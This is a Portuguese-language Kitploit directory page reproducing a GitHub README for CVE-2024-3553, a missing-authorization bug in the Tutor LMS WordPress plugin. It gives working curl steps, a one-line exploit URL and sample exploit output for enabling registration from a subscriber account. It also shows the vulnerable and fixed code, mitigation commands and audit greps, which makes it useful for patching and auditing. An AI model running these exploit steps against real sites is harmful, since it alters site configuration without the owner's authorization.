Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2024-3553 — CVE-2024-3553: Tutor LMS <= 2.6.2 - Missing Authorization vulnerability allowing authenticated attackers to enable user registration | Kitploit
Ferramentas/GitHubGitHub/randomrobbiebf/cve-2024-3553
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubrandomrobbiebf/cve-2024-3553

CVE-2024-3553

CVE-2024-3553: Tutor LMS <= 2.6.2 - Missing Authorization vulnerability allowing authenticated attackers to enable user registration

Ver Repositório
há 7 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2024-3553

Tutor LMS <= 2.6.2 - Autorização Ausente para Atualização Não Autenticada de Opções Limitadas

O plugin Tutor LMS – solução de e-learning e cursos online para WordPress está vulnerável a modificação não autorizada de dados devido à falta de verificação de capacidade na função hide_notices() em todas as versões até a 2.6.2 inclusive. Isso possibilita que atacantes autenticados (incluindo usuários de baixo privilégio, como assinantes) ativem o registro de usuários em sites que podem tê-lo desativado pelos administradores.

Detalhes

  • Tipo: plugin
  • Slug: tutor
  • Versão Afetada: 2.6.2
  • Pontuação CVSS: 6.5
  • Classificação CVSS: Médio
  • Vetor CVSS: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
  • CVE: CVE-2024-3553
  • Status: Ativo

POC

Exploração Automatizada

Um exploit Python completo está disponível: exploit-cve-2024-3553-v2.py

root@kitploit:~
# Full automated exploitation
python3 exploit-cve-2024-3553-v2.py https://target.com --username subscriber --password password123

# Check registration status only
python3 exploit-cve-2024-3553-v2.py https://target.com --check-only

Exploração Manual

Pré-requisitos:

  • Qualquer conta autenticada (assinante, contribuidor, etc.)
  • Plugin Tutor LMS instalado e ativado

Passo 1: Faça login como Usuário de Baixo Privilégio

root@kitploit:~
# Login as subscriber or any authenticated user
curl -c cookies.txt -d "log=subscriber&pwd=password123" \
  https://target.com/wp-login.php

Passo 2: Extraia o Nonce da Área Administrativa

root@kitploit:~
# Any authenticated user can access /wp-admin/ (even subscribers)
curl -b cookies.txt https://target.com/wp-admin/ | grep -o '_wpnonce=[^"&]*' | head -1

Passo 3: Execute o Exploit

root@kitploit:~
# Send request to enable user registration
curl -b cookies.txt \
  "https://target.com/wp-admin/index.php?tutor-hide-notice=registration&tutor-registration=enable&_wpnonce=NONCE_HERE"

Passo 4: Verifique o Sucesso

root@kitploit:~
# Check if registration is now enabled
curl https://target.com/wp-login.php?action=register | grep -q "user_login" && echo "Registration ENABLED" || echo "Registration DISABLED"

Exploração em Uma Linha

root@kitploit:~
# As any authenticated user, simply visit:
https://target.com/wp-admin/index.php?tutor-hide-notice=registration&tutor-registration=enable&_wpnonce=<NONCE>

Exemplo de Saída

root@kitploit:~
======================================================================
Exploit CVE-2024-3553 - Autorização Ausente no Tutor LMS
Alvo: https://target.com
======================================================================

[*] Verificando status atual do registro...
[+] O registro está atualmente DESATIVADO

[*] Tentando fazer login como: subscriber
[+] Login bem-sucedido como: subscriber

[*] Passo 2: Extraindo nonce da área administrativa...
[+] Nonce encontrado: abc123def456

[*] Passo 3: Executando exploit para ativar o registro de usuários...
[*] Alvo: https://target.com
[*] Usando nonce: abc123def456
[*] URL do exploit: https://target.com/wp-admin/index.php
[*] Parâmetros: {'tutor-hide-notice': 'registration', 'tutor-registration': 'enable', '_wpnonce': 'abc123def456'}
[*] Status da resposta: 200
[+] Requisição do exploit enviada com sucesso!

[*] Passo 4: Verificando o sucesso da exploração...
[+] O registro está atualmente ATIVADO

======================================================================
[!] EXPLORAÇÃO BEM-SUCEDIDA!
[!] O registro de usuários agora está ATIVADO
[!]
[!] Impacto: Um atacante com uma conta de baixo privilégio (assinante)
[!] conseguiu ativar o registro de usuários em um site onde estava
[!] desativado. Isso pode permitir a criação de contas adicionais,
[!] potencialmente levando a spam ou acesso não autorizado.
======================================================================

Código Vulnerável

Arquivo: /classes/User.php (Linhas ~800-815)

root@kitploit:~
public function hide_notices() {
    $hide_notice         = Input::get( 'tutor-hide-notice', '' );
    $is_register_enabled = Input::get( 'tutor-registration', '' );

    // CRITICAL FLAW: is_admin() only checks if in admin area, NOT user role!
    if ( is_admin() && 'registration' === $hide_notice ) {
        tutor_utils()->checking_nonce( 'get' );

        if ( 'enable' === $is_register_enabled ) {
            // NO CAPABILITY CHECK - Any authenticated user can execute this!
            update_option( 'users_can_register', 1 );
        } else {
            self::$hide_registration_notice = true;
            setcookie( 'tutor_notice_hide_registration', 1, time() + ( 86400 * 30 ), tutor()->basepath );
        }
    }
}

Pontos-chave da Vulnerabilidade:

  1. is_admin() apenas verifica se a requisição é para uma página de administração, NÃO se o usuário é administrador
  2. QUALQUER usuário autenticado pode acessar /wp-admin/ (mesmo assinantes)
  3. A verificação de nonce confirma que a requisição é intencional, mas NÃO que o usuário tem as permissões adequadas
  4. Ausente: verificação de capacidade current_user_can('manage_options')
  5. Isso permite que QUALQUER usuário autenticado modifique a opção users_can_register

Correção (v2.7.0)

Arquivo: /classes/User.php (Versão corrigida)

root@kitploit:~
public function hide_notices() {
    $hide_notice         = Input::get( 'tutor-hide-notice', '' );
    $is_register_enabled = Input::get( 'tutor-registration', '' );

    // SECURITY FIX: Added capability check
    $has_manage_cap = current_user_can( 'manage_options' );

    if ( $has_manage_cap && is_admin() && 'registration' === $hide_notice ) {
        tutor_utils()->checking_nonce( 'get' );

        if ( 'enable' === $is_register_enabled ) {
            update_option( 'users_can_register', 1 );  // Now properly protected
        } else {
            self::$hide_registration_notice = true;
            setcookie( 'tutor_notice_hide_registration', 1, time() + ( 86400 * 30 ), tutor()->basepath );
        }
    }
}

A correção adiciona current_user_can('manage_options') para verificar se o usuário tem privilégios de administrador antes de permitir a atualização da opção.

Impacto

  • Severidade Média: Embora não comprometa diretamente o site, esta vulnerabilidade permite:
    • Contornar controles administrativos
    • Ativar o registro de usuários em sites protegidos/privados
    • Potencial para criação de contas de spam
    • Ignorar políticas de segurança do site
    • Modificação não autorizada da configuração do site

Análise da Causa Raiz

Erro Comum de Segurança no WordPress

Esta vulnerabilidade demonstra um equívoco crítico sobre as funções de autorização do WordPress:

ERRADO ❌:

root@kitploit:~
if ( is_admin() ) {
    // Pensando que isso significa "usuário é administrador"
    update_option( 'sensitive_option', $value );
}

CORRETO ✅:

root@kitploit:~
if ( current_user_can( 'manage_options' ) ) {
    // Verifica se o usuário tem capacidades de administrador
    update_option( 'sensitive_option', $value );
}

Comparação de Funções

Defesa em Profundidade Necessária

A segurança adequada do WordPress requer múltiplas camadas:

  1. Validação de nonce - Previne ataques CSRF
  2. Verificações de capacidade - Garante autorização adequada
  3. Sanitização de entrada - Previne ataques de injeção

A ausência de QUALQUER dessas camadas pode levar a vulnerabilidades.

Mitigação

Para Administradores de Sites:

Atualize para a versão 2.7.0 do Tutor LMS ou superior imediatamente:

root@kitploit:~
# Via WP-CLI
wp plugin update tutor --version=2.7.0

# Via Administração WordPress
Painel → Plugins → Encontre "Tutor LMS" → Clique em "Atualizar Agora"

Audite Alterações Recentes:

root@kitploit:~
# Verifique se a configuração de registro foi modificada recentemente
wp option get users_can_register

# Revise registros de usuários recentes
wp user list --orderby=registered --order=DESC --number=20

Lições de Segurança

Para Desenvolvedores

  1. Nunca confie apenas em is_admin() para autorização
  2. Sempre use current_user_can() para verificações de capacidade
  3. Combine validação de nonce COM verificações de capacidade
  4. Siga os Padrões de Codificação do WordPress para segurança
  5. Teste com contas de baixo privilégio durante o desenvolvimento

Metodologia de Teste

Ao auditar plugins do WordPress para problemas de autorização:

root@kitploit:~
# 1. Search for is_admin() without capability checks
grep -r "is_admin()" . | grep -v "current_user_can"

# 2. Look for direct option updates
grep -r "update_option\|add_option" .

# 3. Find AJAX handlers without capability checks
grep -r "wp_ajax_" . -A 10 | grep -v "current_user_can"

Referências

  • Aviso da Wordfence: https://www.wordfence.com/threat-intel/vulnerabilities/id/f8d4029e-07b0-4ceb-ae6e-11a3f7416ebc?source=cve
  • Patch no Trac do WordPress: https://plugins.trac.wordpress.org/changeset/3076302/tutor/tags/2.7.0/classes/User.php
  • Referência de Capacidades do WordPress: https://wordpress.org/documentation/article/roles-and-capabilities/
  • Entrada no WPScan: https://wpscan.com/vulnerability/cve-2024-3553

Arquivos neste Repositório

  • README.md - Este arquivo
  • exploit-cve-2024-3553.py - Exploit Python básico
  • exploit-cve-2024-3553-v2.py - Exploit Python aprimorado com documentação detalhada
  • manual-exploit-cve-2024-3553.sh - Script de exploração manual
  • test-cve-2024-3553-direct.sh - Script de verificação direta

Descoberto: 2024-04-15 Divulgado: 2024-05-20 Corrigido: 2024-05-21 (v2.7.0) Data do Teste: 2025-12-26 Classificação: Validação de Vulnerabilidade Bem-sucedida

Baixar ferramenta
FunçãoO Que Realmente VerificaUso de Segurança
is_admin()Se a URL atual está em /wp-admin/❌ NÃO para autorização
current_user_can()Se o usuário tem capacidade específica✅ Autorização adequada
wp_verify_nonce()Se a requisição é intencional (proteção CSRF)✅ Mas não é suficiente sozinho